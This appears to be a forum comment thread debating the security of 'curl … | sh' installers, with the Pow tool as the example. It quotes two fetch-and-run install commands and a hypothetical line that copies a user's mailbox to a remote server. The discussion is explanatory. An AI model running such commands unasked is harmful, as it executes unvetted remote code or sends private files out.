If you download an installer from an https:// link, even though you still aren't capital-S Secure, you're still more secure than running shell scripts spat out over TCP port 80.
curl https://get.pow.cx/ | sh
How does this practice confound security more than a normal installer? sudo asks for my password just as a normal installer would.
Oddly, I'm more used to seeing arguments that distributing source code is better than distributing binaries because you can inspect source code.
We're arguing levels of badness here so it's a little hokey. But if you decide to open up your machine to run arbitrary code, a machine that can run shell will arguably get more infections than one that runs executables. To infect the ladder any script kiddies will need to know a 'harder' language and at least how to compile it. It's a couple more hoops to jump through. In the other case I could drive by and do scp ~/mailbox me@myserver:
We're already talking about running arbitrary code on a machine, compiled versus interpreted is irrelevant. And I think you have forgotten that a script with the appropriate hash-bang and file permissions is indistinguishable to most users from a compiled executable.
curl https://github.com/37signals/pow/raw/master/install.sh | sh
You can for example, at your network level point get.pow.cx to a malicious script and you're done. That's the security issue, it has nothing to do with the HTTP protocol.
With that being said, I don't care, the risk is the same as downloading any software via http, in fact I loved it, so easy :-).
Those that don't care won't look at the script any more than they'll check the md5 hash of a binary to see that it's a legit binary. For those that care, they can look at the bash source.
Since you are the security expert at Hn, we are trying to understand/learn from you.
This is not plain Nerdgasm making people understand about software security is making the world a little better.